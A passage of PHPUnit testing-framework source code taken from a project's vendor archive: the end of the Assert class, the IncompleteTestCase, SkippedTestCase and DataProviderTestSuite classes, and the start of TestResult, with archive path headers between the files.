\SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !iterable $actual */ public static function assertIsNotIterable($actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_ITERABLE)), $message ); } /** * Asserts that a string matches a given regular expression. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertMatchesRegularExpression(string $pattern, string $string, string $message = ''): void { static::assertThat($string, new RegularExpression($pattern), $message); } /** * Asserts that a string matches a given regular expression. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4086 */ public static function assertRegExp(string $pattern, string $string, string $message = ''): void { self::createWarning('assertRegExp() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertMatchesRegularExpression() instead.'); static::assertThat($string, new RegularExpression($pattern), $message); } /** * Asserts that a string does not match a given regular expression. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertDoesNotMatchRegularExpression(string $pattern, string $string, string $message = ''): void { static::assertThat( $string, new LogicalNot( new RegularExpression($pattern) ), $message ); } /** * Asserts that a string does not match a given regular expression. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4089 */ public static function assertNotRegExp(string $pattern, string $string, string $message = ''): void { self::createWarning('assertNotRegExp() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertDoesNotMatchRegularExpression() instead.'); static::assertThat( $string, new LogicalNot( new RegularExpression($pattern) ), $message ); } /** * Assert that the size of two arrays (or `Countable` or `Traversable` objects) * is the same. * * @param Countable|iterable $expected * @param Countable|iterable $actual * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ public static function assertSameSize($expected, $actual, string $message = ''): void { if (!$expected instanceof Countable && !is_iterable($expected)) { throw InvalidArgumentException::create(1, 'countable or iterable'); } if (!$actual instanceof Countable && !is_iterable($actual)) { throw InvalidArgumentException::create(2, 'countable or iterable'); } static::assertThat( $actual, new SameSize($expected), $message ); } /** * Assert that the size of two arrays (or `Countable` or `Traversable` objects) * is not the same. * * @param Countable|iterable $expected * @param Countable|iterable $actual * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ public static function assertNotSameSize($expected, $actual, string $message = ''): void { if (!$expected instanceof Countable && !is_iterable($expected)) { throw InvalidArgumentException::create(1, 'countable or iterable'); } if (!$actual instanceof Countable && !is_iterable($actual)) { throw InvalidArgumentException::create(2, 'countable or iterable'); } static::assertThat( $actual, new LogicalNot( new SameSize($expected) ), $message ); } /** * Asserts that a string matches a given format string. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringMatchesFormat(string $format, string $string, string $message = ''): void { static::assertThat($string, new StringMatchesFormatDescription($format), $message); } /** * Asserts that a string does not match a given format string. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringNotMatchesFormat(string $format, string $string, string $message = ''): void { static::assertThat( $string, new LogicalNot( new StringMatchesFormatDescription($format) ), $message ); } /** * Asserts that a string matches a given format file. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringMatchesFormatFile(string $formatFile, string $string, string $message = ''): void { static::assertFileExists($formatFile, $message); static::assertThat( $string, new StringMatchesFormatDescription( file_get_contents($formatFile) ), $message ); } /** * Asserts that a string does not match a given format string. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringNotMatchesFormatFile(string $formatFile, string $string, string $message = ''): void { static::assertFileExists($formatFile, $message); static::assertThat( $string, new LogicalNot( new StringMatchesFormatDescription( file_get_contents($formatFile) ) ), $message ); } /** * Asserts that a string starts with a given prefix. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringStartsWith(string $prefix, string $string, string $message = ''): void { static::assertThat($string, new StringStartsWith($prefix), $message); } /** * Asserts that a string starts not with a given prefix. * * @param string $prefix * @param string $string * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringStartsNotWith($prefix, $string, string $message = ''): void { static::assertThat( $string, new LogicalNot( new StringStartsWith($prefix) ), $message ); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringContainsString(string $needle, string $haystack, string $message = ''): void { $constraint = new StringContains($needle, false); static::assertThat($haystack, $constraint, $message); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringContainsStringIgnoringCase(string $needle, string $haystack, string $message = ''): void { $constraint = new StringContains($needle, true); static::assertThat($haystack, $constraint, $message); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringNotContainsString(string $needle, string $haystack, string $message = ''): void { $constraint = new LogicalNot(new StringContains($needle)); static::assertThat($haystack, $constraint, $message); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringNotContainsStringIgnoringCase(string $needle, string $haystack, string $message = ''): void { $constraint = new LogicalNot(new StringContains($needle, true)); static::assertThat($haystack, $constraint, $message); } /** * Asserts that a string ends with a given suffix. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringEndsWith(string $suffix, string $string, string $message = ''): void { static::assertThat($string, new StringEndsWith($suffix), $message); } /** * Asserts that a string ends not with a given suffix. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringEndsNotWith(string $suffix, string $string, string $message = ''): void { static::assertThat( $string, new LogicalNot( new StringEndsWith($suffix) ), $message ); } /** * Asserts that two XML files are equal. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ public static function assertXmlFileEqualsXmlFile(string $expectedFile, string $actualFile, string $message = ''): void { $expected = (new XmlLoader)->loadFile($expectedFile); $actual = (new XmlLoader)->loadFile($actualFile); static::assertEquals($expected, $actual, $message); } /** * Asserts that two XML files are not equal. * * @throws \PHPUnit\Util\Exception * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertXmlFileNotEqualsXmlFile(string $expectedFile, string $actualFile, string $message = ''): void { $expected = (new XmlLoader)->loadFile($expectedFile); $actual = (new XmlLoader)->loadFile($actualFile); static::assertNotEquals($expected, $actual, $message); } /** * Asserts that two XML documents are equal. * * @param DOMDocument|string $actualXml * * @throws \PHPUnit\Util\Xml\Exception * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertXmlStringEqualsXmlFile(string $expectedFile, $actualXml, string $message = ''): void { if (!is_string($actualXml)) { self::createWarning('Passing an argument of type DOMDocument for the $actualXml parameter is deprecated. Support for this will be removed in PHPUnit 10.'); $actual = $actualXml; } else { $actual = (new XmlLoader)->load($actualXml); } $expected = (new XmlLoader)->loadFile($expectedFile); static::assertEquals($expected, $actual, $message); } /** * Asserts that two XML documents are not equal. * * @param DOMDocument|string $actualXml * * @throws \PHPUnit\Util\Xml\Exception * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertXmlStringNotEqualsXmlFile(string $expectedFile, $actualXml, string $message = ''): void { if (!is_string($actualXml)) { self::createWarning('Passing an argument of type DOMDocument for the $actualXml parameter is deprecated. Support for this will be removed in PHPUnit 10.'); $actual = $actualXml; } else { $actual = (new XmlLoader)->load($actualXml); } $expected = (new XmlLoader)->loadFile($expectedFile); static::assertNotEquals($expected, $actual, $message); } /** * Asserts that two XML documents are equal. * * @param DOMDocument|string $expectedXml * @param DOMDocument|string $actualXml * * @throws \PHPUnit\Util\Xml\Exception * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertXmlStringEqualsXmlString($expectedXml, $actualXml, string $message = ''): void { if (!is_string($expectedXml)) { self::createWarning('Passing an argument of type DOMDocument for the $expectedXml parameter is deprecated. Support for this will be removed in PHPUnit 10.'); $expected = $expectedXml; } else { $expected = (new XmlLoader)->load($expectedXml); } if (!is_string($actualXml)) { self::createWarning('Passing an argument of type DOMDocument for the $actualXml parameter is deprecated. Support for this will be removed in PHPUnit 10.'); $actual = $actualXml; } else { $actual = (new XmlLoader)->load($actualXml); } static::assertEquals($expected, $actual, $message); } /** * Asserts that two XML documents are not equal. * * @param DOMDocument|string $expectedXml * @param DOMDocument|string $actualXml * * @throws \PHPUnit\Util\Xml\Exception * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertXmlStringNotEqualsXmlString($expectedXml, $actualXml, string $message = ''): void { if (!is_string($expectedXml)) { self::createWarning('Passing an argument of type DOMDocument for the $expectedXml parameter is deprecated. Support for this will be removed in PHPUnit 10.'); $expected = $expectedXml; } else { $expected = (new XmlLoader)->load($expectedXml); } if (!is_string($actualXml)) { self::createWarning('Passing an argument of type DOMDocument for the $actualXml parameter is deprecated. Support for this will be removed in PHPUnit 10.'); $actual = $actualXml; } else { $actual = (new XmlLoader)->load($actualXml); } static::assertNotEquals($expected, $actual, $message); } /** * Asserts that a hierarchy of DOMElements matches. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws AssertionFailedError * @throws ExpectationFailedException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4091 */ public static function assertEqualXMLStructure(DOMElement $expectedElement, DOMElement $actualElement, bool $checkAttributes = false, string $message = ''): void { self::createWarning('assertEqualXMLStructure() is deprecated and will be removed in PHPUnit 10.'); $expectedElement = Xml::import($expectedElement); $actualElement = Xml::import($actualElement); static::assertSame( $expectedElement->tagName, $actualElement->tagName, $message ); if ($checkAttributes) { static::assertSame( $expectedElement->attributes->length, $actualElement->attributes->length, sprintf( '%s%sNumber of attributes on node "%s" does not match', $message, !empty($message) ? "\n" : '', $expectedElement->tagName ) ); for ($i = 0; $i < $expectedElement->attributes->length; $i++) { $expectedAttribute = $expectedElement->attributes->item($i); $actualAttribute = $actualElement->attributes->getNamedItem($expectedAttribute->name); assert($expectedAttribute instanceof DOMAttr); if (!$actualAttribute) { static::fail( sprintf( '%s%sCould not find attribute "%s" on node "%s"', $message, !empty($message) ? "\n" : '', $expectedAttribute->name, $expectedElement->tagName ) ); } } } Xml::removeCharacterDataNodes($expectedElement); Xml::removeCharacterDataNodes($actualElement); static::assertSame( $expectedElement->childNodes->length, $actualElement->childNodes->length, sprintf( '%s%sNumber of child nodes of "%s" differs', $message, !empty($message) ? "\n" : '', $expectedElement->tagName ) ); for ($i = 0; $i < $expectedElement->childNodes->length; $i++) { static::assertEqualXMLStructure( $expectedElement->childNodes->item($i), $actualElement->childNodes->item($i), $checkAttributes, $message ); } } /** * Evaluates a PHPUnit\Framework\Constraint matcher object. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertThat($value, Constraint $constraint, string $message = ''): void { self::$count += count($constraint); $constraint->evaluate($value, $message); } /** * Asserts that a string is a valid JSON string. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertJson(string $actualJson, string $message = ''): void { static::assertThat($actualJson, static::isJson(), $message); } /** * Asserts that two given JSON encoded objects or arrays are equal. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertJsonStringEqualsJsonString(string $expectedJson, string $actualJson, string $message = ''): void { static::assertJson($expectedJson, $message); static::assertJson($actualJson, $message); static::assertThat($actualJson, new JsonMatches($expectedJson), $message); } /** * Asserts that two given JSON encoded objects or arrays are not equal. * * @param string $expectedJson * @param string $actualJson * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertJsonStringNotEqualsJsonString($expectedJson, $actualJson, string $message = ''): void { static::assertJson($expectedJson, $message); static::assertJson($actualJson, $message); static::assertThat( $actualJson, new LogicalNot( new JsonMatches($expectedJson) ), $message ); } /** * Asserts that the generated JSON encoded object and the content of the given file are equal. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertJsonStringEqualsJsonFile(string $expectedFile, string $actualJson, string $message = ''): void { static::assertFileExists($expectedFile, $message); $expectedJson = file_get_contents($expectedFile); static::assertJson($expectedJson, $message); static::assertJson($actualJson, $message); static::assertThat($actualJson, new JsonMatches($expectedJson), $message); } /** * Asserts that the generated JSON encoded object and the content of the given file are not equal. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertJsonStringNotEqualsJsonFile(string $expectedFile, string $actualJson, string $message = ''): void { static::assertFileExists($expectedFile, $message); $expectedJson = file_get_contents($expectedFile); static::assertJson($expectedJson, $message); static::assertJson($actualJson, $message); static::assertThat( $actualJson, new LogicalNot( new JsonMatches($expectedJson) ), $message ); } /** * Asserts that two JSON files are equal. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertJsonFileEqualsJsonFile(string $expectedFile, string $actualFile, string $message = ''): void { static::assertFileExists($expectedFile, $message); static::assertFileExists($actualFile, $message); $actualJson = file_get_contents($actualFile); $expectedJson = file_get_contents($expectedFile); static::assertJson($expectedJson, $message); static::assertJson($actualJson, $message); $constraintExpected = new JsonMatches( $expectedJson ); $constraintActual = new JsonMatches($actualJson); static::assertThat($expectedJson, $constraintActual, $message); static::assertThat($actualJson, $constraintExpected, $message); } /** * Asserts that two JSON files are not equal. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertJsonFileNotEqualsJsonFile(string $expectedFile, string $actualFile, string $message = ''): void { static::assertFileExists($expectedFile, $message); static::assertFileExists($actualFile, $message); $actualJson = file_get_contents($actualFile); $expectedJson = file_get_contents($expectedFile); static::assertJson($expectedJson, $message); static::assertJson($actualJson, $message); $constraintExpected = new JsonMatches( $expectedJson ); $constraintActual = new JsonMatches($actualJson); static::assertThat($expectedJson, new LogicalNot($constraintActual), $message); static::assertThat($actualJson, new LogicalNot($constraintExpected), $message); } /** * @throws Exception */ public static function logicalAnd(): LogicalAnd { $constraints = func_get_args(); $constraint = new LogicalAnd; $constraint->setConstraints($constraints); return $constraint; } public static function logicalOr(): LogicalOr { $constraints = func_get_args(); $constraint = new LogicalOr; $constraint->setConstraints($constraints); return $constraint; } public static function logicalNot(Constraint $constraint): LogicalNot { return new LogicalNot($constraint); } public static function logicalXor(): LogicalXor { $constraints = func_get_args(); $constraint = new LogicalXor; $constraint->setConstraints($constraints); return $constraint; } public static function anything(): IsAnything { return new IsAnything; } public static function isTrue(): IsTrue { return new IsTrue; } /** * @psalm-template CallbackInput of mixed * * @psalm-param callable(CallbackInput $callback): bool $callback * * @psalm-return Callback */ public static function callback(callable $callback): Callback { return new Callback($callback); } public static function isFalse(): IsFalse { return new IsFalse; } public static function isJson(): IsJson { return new IsJson; } public static function isNull(): IsNull { return new IsNull; } public static function isFinite(): IsFinite { return new IsFinite; } public static function isInfinite(): IsInfinite { return new IsInfinite; } public static function isNan(): IsNan { return new IsNan; } public static function containsEqual($value): TraversableContainsEqual { return new TraversableContainsEqual($value); } public static function containsIdentical($value): TraversableContainsIdentical { return new TraversableContainsIdentical($value); } public static function containsOnly(string $type): TraversableContainsOnly { return new TraversableContainsOnly($type); } public static function containsOnlyInstancesOf(string $className): TraversableContainsOnly { return new TraversableContainsOnly($className, false); } /** * @param int|string $key */ public static function arrayHasKey($key): ArrayHasKey { return new ArrayHasKey($key); } public static function equalTo($value): IsEqual { return new IsEqual($value, 0.0, false, false); } public static function equalToCanonicalizing($value): IsEqualCanonicalizing { return new IsEqualCanonicalizing($value); } public static function equalToIgnoringCase($value): IsEqualIgnoringCase { return new IsEqualIgnoringCase($value); } public static function equalToWithDelta($value, float $delta): IsEqualWithDelta { return new IsEqualWithDelta($value, $delta); } public static function isEmpty(): IsEmpty { return new IsEmpty; } public static function isWritable(): IsWritable { return new IsWritable; } public static function isReadable(): IsReadable { return new IsReadable; } public static function directoryExists(): DirectoryExists { return new DirectoryExists; } public static function fileExists(): FileExists { return new FileExists; } public static function greaterThan($value): GreaterThan { return new GreaterThan($value); } public static function greaterThanOrEqual($value): LogicalOr { return static::logicalOr( new IsEqual($value), new GreaterThan($value) ); } public static function classHasAttribute(string $attributeName): ClassHasAttribute { return new ClassHasAttribute($attributeName); } public static function classHasStaticAttribute(string $attributeName): ClassHasStaticAttribute { return new ClassHasStaticAttribute($attributeName); } public static function objectHasAttribute($attributeName): ObjectHasAttribute { return new ObjectHasAttribute($attributeName); } public static function identicalTo($value): IsIdentical { return new IsIdentical($value); } public static function isInstanceOf(string $className): IsInstanceOf { return new IsInstanceOf($className); } public static function isType(string $type): IsType { return new IsType($type); } public static function lessThan($value): LessThan { return new LessThan($value); } public static function lessThanOrEqual($value): LogicalOr { return static::logicalOr( new IsEqual($value), new LessThan($value) ); } public static function matchesRegularExpression(string $pattern): RegularExpression { return new RegularExpression($pattern); } public static function matches(string $string): StringMatchesFormatDescription { return new StringMatchesFormatDescription($string); } public static function stringStartsWith($prefix): StringStartsWith { return new StringStartsWith($prefix); } public static function stringContains(string $string, bool $case = true): StringContains { return new StringContains($string, $case); } public static function stringEndsWith(string $suffix): StringEndsWith { return new StringEndsWith($suffix); } public static function countOf(int $count): Count { return new Count($count); } public static function objectEquals(object $object, string $method = 'equals'): ObjectEquals { return new ObjectEquals($object, $method); } /** * Fails a test with the given message. * * @throws AssertionFailedError * * @psalm-return never-return */ public static function fail(string $message = ''): void { self::$count++; throw new AssertionFailedError($message); } /** * Mark the test as incomplete. * * @throws IncompleteTestError * * @psalm-return never-return */ public static function markTestIncomplete(string $message = ''): void { throw new IncompleteTestError($message); } /** * Mark the test as skipped. * * @throws SkippedTestError * @throws SyntheticSkippedError * * @psalm-return never-return */ public static function markTestSkipped(string $message = ''): void { if ($hint = self::detectLocationHint($message)) { $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); array_unshift($trace, $hint); throw new SyntheticSkippedError($hint['message'], 0, $hint['file'], (int) $hint['line'], $trace); } throw new SkippedTestError($message); } /** * Return the current assertion count. */ public static function getCount(): int { return self::$count; } /** * Reset the assertion counter. */ public static function resetCount(): void { self::$count = 0; } private static function detectLocationHint(string $message): ?array { $hint = null; $lines = preg_split('/\r\n|\r|\n/', $message); while (strpos($lines[0], '__OFFSET') !== false) { $offset = explode('=', array_shift($lines)); if ($offset[0] === '__OFFSET_FILE') { $hint['file'] = $offset[1]; } if ($offset[0] === '__OFFSET_LINE') { $hint['line'] = $offset[1]; } } if ($hint) { $hint['message'] = implode(PHP_EOL, $lines); } return $hint; } private static function isValidObjectAttributeName(string $attributeName): bool { return (bool) preg_match('/[^\x00-\x1f\x7f-\x9f]+/', $attributeName); } private static function isValidClassAttributeName(string $attributeName): bool { return (bool) preg_match('/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/', $attributeName); } /** * @codeCoverageIgnore */ private static function createWarning(string $warning): void { foreach (debug_backtrace() as $step) { if (isset($step['object']) && $step['object'] instanceof TestCase) { assert($step['object'] instanceof TestCase); $step['object']->addWarning($warning); break; } } } } res/readability/vendor/phpunit/phpunit/src/Framework/IncompleteTestCase.php000064400000002567147577714370023331 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class IncompleteTestCase extends TestCase { /** * @var bool */ protected $backupGlobals = false; /** * @var bool */ protected $backupStaticAttributes = false; /** * @var bool */ protected $runTestInSeparateProcess = false; /** * @var string */ private $message; public function __construct(string $className, string $methodName, string $message = '') { parent::__construct($className . '::' . $methodName); $this->message = $message; } public function getMessage(): string { return $this->message; } /** * Returns a string representation of the test case. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function toString(): string { return $this->getName(); } /** * @throws Exception */ protected function runTest(): void { $this->markTestIncomplete($this->message); } } res/readability/vendor/phpunit/phpunit/src/Framework/SkippedTestCase.php000064400000002561147577714370022623 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SkippedTestCase extends TestCase { /** * @var bool */ protected $backupGlobals = false; /** * @var bool */ protected $backupStaticAttributes = false; /** * @var bool */ protected $runTestInSeparateProcess = false; /** * @var string */ private $message; public function __construct(string $className, string $methodName, string $message = '') { parent::__construct($className . '::' . $methodName); $this->message = $message; } public function getMessage(): string { return $this->message; } /** * Returns a string representation of the test case. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function toString(): string { return $this->getName(); } /** * @throws Exception */ protected function runTest(): void { $this->markTestSkipped($this->message); } } res/readability/vendor/phpunit/phpunit/src/Framework/DataProviderTestSuite.php000064400000003733147577714370024030 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function explode; use PHPUnit\Util\Test as TestUtil; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DataProviderTestSuite extends TestSuite { /** * @var list */ private $dependencies = []; /** * @param list $dependencies */ public function setDependencies(array $dependencies): void { $this->dependencies = $dependencies; foreach ($this->tests as $test) { if (!$test instanceof TestCase) { // @codeCoverageIgnoreStart continue; // @codeCoverageIgnoreStart } $test->setDependencies($dependencies); } } /** * @return list */ public function provides(): array { if ($this->providedTests === null) { $this->providedTests = [new ExecutionOrderDependency($this->getName())]; } return $this->providedTests; } /** * @return list */ public function requires(): array { // A DataProviderTestSuite does not have to traverse its child tests // as these are inherited and cannot reference dataProvider rows directly return $this->dependencies; } /** * Returns the size of the each test created using the data provider(s). * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function getSize(): int { [$className, $methodName] = explode('::', $this->getName()); return TestUtil::getSize($className, $methodName); } } res/readability/vendor/phpunit/phpunit/src/Framework/TestResult.php000064400000102132147577714370021701 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use const PHP_EOL; use function count; use function function_exists; use function get_class; use function sprintf; use function xdebug_get_monitored_functions; use function xdebug_is_debugger_active; use function xdebug_start_function_monitor; use function xdebug_stop_function_monitor; use AssertionError; use Countable; use Error; use PHPUnit\Util\ErrorHandler; use PHPUnit\Util\ExcludeList; use PHPUnit\Util\Printer; use PHPUnit\Util\Test as TestUtil; use ReflectionClass; use ReflectionException; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeCoverage\Exception as OriginalCodeCoverageException; use SebastianBergmann\CodeCoverage\UnintentionallyCoveredCodeException; use SebastianBergmann\Invoker\Invoker; use SebastianBergmann\Invoker\TimeoutException; use SebastianBergmann\ResourceOperations\ResourceOperations; use SebastianBergmann\Timer\Timer; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestResult implements Countable { /** * @var array */ private $passed = []; /** * @var array */ private $passedTestClasses = []; /** * @var bool */ private $currentTestSuiteFailed = false; /** * @var TestFailure[] */ private $errors = []; /** * @var TestFailure[] */ private $failures = []; /** * @var TestFailure[] */ private $warnings = []; /** * @var TestFailure[] */ private $notImplemented = []; /** * @var TestFailure[] */ private $risky = []; /** * @var TestFailure[] */ private $skipped = []; /** * @deprecated Use the `TestHook` interfaces instead * * @var TestListener[] */ private $listeners = []; /** * @var int */ private $runTests = 0; /** * @var float */ private $time = 0; /** * Code Coverage information. * * @var CodeCoverage */ private $codeCoverage; /** * @var bool */ private $convertDeprecationsToExceptions = false; /** * @var bool */ private $convertErrorsToExceptions = true; /** * @var bool */ private $convertNoticesToExceptions = true; /** * @var bool */ private $convertWarningsToExceptions = true; /** * @var bool */ private $stop = false; /** * @var bool */ private $stopOnError = false; /** * @var bool */ private $stopOnFailure = false; /** * @var bool */ private $stopOnWarning = false; /** * @var bool */ private $beStrictAboutTestsThatDoNotTestAnything = true; /** * @var bool */ private $beStrictAboutOutputDuringTests = false; /** * @var bool */ private $beStrictAboutTodoAnnotatedTests = false; /** * @var bool */ private $beStrictAboutResourceUsageDuringSmallTests = false; /** * @var bool */ private $enforceTimeLimit = false; /** * @var bool */ private $forceCoversAnnotation = false; /** * @var int */ private $timeoutForSmallTests = 1; /** * @var int */ private $timeoutForMediumTests = 10; /** * @var int */ private $timeoutForLargeTests = 60; /** * @var bool */ private $stopOnRisky = false; /** * @var bool */ private $stopOnIncomplete = false; /** * @var bool */ private $stopOnSkipped = false; /** * @var bool */ private $lastTestFailed = false; /** * @var int */ private $defaultTimeLimit = 0; /** * @var bool */ private $stopOnDefect = false; /** * @var bool */ private $registerMockObjectsFromTestArgumentsRecursively = false; /** * @deprecated Use the `TestHook` interfaces instead * * @codeCoverageIgnore * * Registers a TestListener. */ public function addListener(TestListener $listener): void { $this->listeners[] = $listener; } /** * @deprecated Use the `TestHook` interfaces instead * * @codeCoverageIgnore * * Unregisters a TestListener. */ public function removeListener(TestListener $listener): void { foreach ($this->listeners as $key => $_listener) { if ($listener === $_listener) { unset($this->listeners[$key]); } } } /** * @deprecated Use the `TestHook` interfaces instead * * @codeCoverageIgnore * * Flushes all flushable TestListeners. */ public function flushListeners(): void { foreach ($this->listeners as $listener) { if ($listener instanceof Printer) { $listener->flush(); } } } /** * Adds an error to the list of errors. */ public function addError(Test $test, Throwable $t, float $time): void { if ($t instanceof RiskyTestError) { $this->recordRisky($test, $t); $notifyMethod = 'addRiskyTest'; if ($test instanceof TestCase) { $test->markAsRisky(); } if ($this->stopOnRisky || $this->stopOnDefect) { $this->stop(); } } elseif ($t instanceof IncompleteTest) { $this->recordNotImplemented($test, $t); $notifyMethod = 'addIncompleteTest'; if ($this->stopOnIncomplete) { $this->stop(); } } elseif ($t instanceof SkippedTest) { $this->recordSkipped($test, $t); $notifyMethod = 'addSkippedTest'; if ($this->stopOnSkipped) { $this->stop(); } } else { $this->recordError($test, $t); $notifyMethod = 'addError'; if ($this->stopOnError || $this->stopOnFailure) { $this->stop(); } } // @see https://github.com/sebastianbergmann/phpunit/issues/1953 if ($t instanceof Error) { $t = new ExceptionWrapper($t); } foreach ($this->listeners as $listener) { $listener->{$notifyMethod}($test, $t, $time); } $this->lastTestFailed = true; $this->time += $time; } /** * Adds a warning to the list of warnings. * The passed in exception caused the warning. */ public function addWarning(Test $test, Warning $e, float $time): void { if ($this->stopOnWarning || $this->stopOnDefect) { $this->stop(); } $this->recordWarning($test, $e); foreach ($this->listeners as $listener) { $listener->addWarning($test, $e, $time); } $this->time += $time; } /** * Adds a failure to the list of failures. * The passed in exception caused the failure. */ public function addFailure(Test $test, AssertionFailedError $e, float $time): void { if ($e instanceof RiskyTestError || $e instanceof OutputError) { $this->recordRisky($test, $e); $notifyMethod = 'addRiskyTest'; if ($test instanceof TestCase) { $test->markAsRisky(); } if ($this->stopOnRisky || $this->stopOnDefect) { $this->stop(); } } elseif ($e instanceof IncompleteTest) { $this->recordNotImplemented($test, $e); $notifyMethod = 'addIncompleteTest'; if ($this->stopOnIncomplete) { $this->stop(); } } elseif ($e instanceof SkippedTest) { $this->recordSkipped($test, $e); $notifyMethod = 'addSkippedTest'; if ($this->stopOnSkipped) { $this->stop(); } } else { $this->failures[] = new TestFailure($test, $e); $notifyMethod = 'addFailure'; if ($this->stopOnFailure || $this->stopOnDefect) { $this->stop(); } } foreach ($this->listeners as $listener) { $listener->{$notifyMethod}($test, $e, $time); } $this->lastTestFailed = true; $this->time += $time; } /** * Informs the result that a test suite will be started. */ public function startTestSuite(TestSuite $suite): void { $this->currentTestSuiteFailed = false; foreach ($this->listeners as $listener) { $listener->startTestSuite($suite); } } /** * Informs the result that a test suite was completed. */ public function endTestSuite(TestSuite $suite): void { if (!$this->currentTestSuiteFailed) { $this->passedTestClasses[] = $suite->getName(); } foreach ($this->listeners as $listener) { $listener->endTestSuite($suite); } } /** * Informs the result that a test will be started. */ public function startTest(Test $test): void { $this->lastTestFailed = false; $this->runTests += count($test); foreach ($this->listeners as $listener) { $listener->startTest($test); } } /** * Informs the result that a test was completed. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function endTest(Test $test, float $time): void { foreach ($this->listeners as $listener) { $listener->endTest($test, $time); } if (!$this->lastTestFailed && $test instanceof TestCase) { $class = get_class($test); $key = $class . '::' . $test->getName(); $this->passed[$key] = [ 'result' => $test->getResult(), 'size' => TestUtil::getSize( $class, $test->getName(false) ), ]; $this->time += $time; } if ($this->lastTestFailed && $test instanceof TestCase) { $this->currentTestSuiteFailed = true; } } /** * Returns true if no risky test occurred. */ public function allHarmless(): bool { return $this->riskyCount() === 0; } /** * Gets the number of risky tests. */ public function riskyCount(): int { return count($this->risky); } /** * Returns true if no incomplete test occurred. */ public function allCompletelyImplemented(): bool { return $this->notImplementedCount() === 0; } /** * Gets the number of incomplete tests. */ public function notImplementedCount(): int { return count($this->notImplemented); } /** * Returns an array of TestFailure objects for the risky tests. * * @return TestFailure[] */ public function risky(): array { return $this->risky; } /** * Returns an array of TestFailure objects for the incomplete tests. * * @return TestFailure[] */ public function notImplemented(): array { return $this->notImplemented; } /** * Returns true if no test has been skipped. */ public function noneSkipped(): bool { return $this->skippedCount() === 0; } /** * 